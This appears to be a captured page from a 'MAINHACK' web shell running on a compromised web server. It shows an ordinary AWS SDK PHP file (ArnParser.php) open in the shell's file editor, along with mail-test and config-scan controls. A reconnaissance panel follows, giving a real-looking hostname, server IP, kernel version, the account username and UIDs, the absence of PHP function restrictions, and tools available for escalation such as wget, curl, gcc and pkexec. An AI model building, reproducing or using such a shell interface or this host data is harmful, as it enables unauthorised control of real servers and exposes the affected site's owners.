[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ArnParser.php
<?php namespace Aws\Arn; use Aws\Arn\S3\AccessPointArn as S3AccessPointArn; use Aws\Arn\ObjectLambdaAccessPointArn; use Aws\Arn\S3\MultiRegionAccessPointArn; use Aws\Arn\S3\OutpostsBucketArn; use Aws\Arn\S3\RegionalBucketArn; use Aws\Arn\S3\OutpostsAccessPointArn; /** * This class provides functionality to parse ARN strings and return a * corresponding ARN object. ARN-parsing logic may be subject to change in the * future, so this should not be relied upon for external customer usage. * * @internal */ class ArnParser { /** * @param $string * @return bool */ public static function isArn($string) { return $string !== null && strpos($string, 'arn:') === 0; } /** * Parses a string and returns an instance of ArnInterface. Returns a * specific type of Arn object if it has a specific class representation * or a generic Arn object if not. * * @param $string * @return ArnInterface */ public static function parse($string) { $data = Arn::parse($string); if ($data['service'] === 's3-object-lambda') { return new ObjectLambdaAccessPointArn($string); } $resource = self::explodeResourceComponent($data['resource']); if ($resource[0] === 'outpost') { if (isset($resource[2]) && $resource[2] === 'bucket') { return new OutpostsBucketArn($string); } if (isset($resource[2]) && $resource[2] === 'accesspoint') { return new OutpostsAccessPointArn($string); } } if (empty($data['region'])) { return new MultiRegionAccessPointArn($string); } if ($resource[0] === 'accesspoint') { if ($data['service'] === 's3') { return new S3AccessPointArn($string); } return new AccessPointArn($string); } return new Arn($data); } private static function explodeResourceComponent($resource) { return preg_split("/[\/:]/", $resource); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002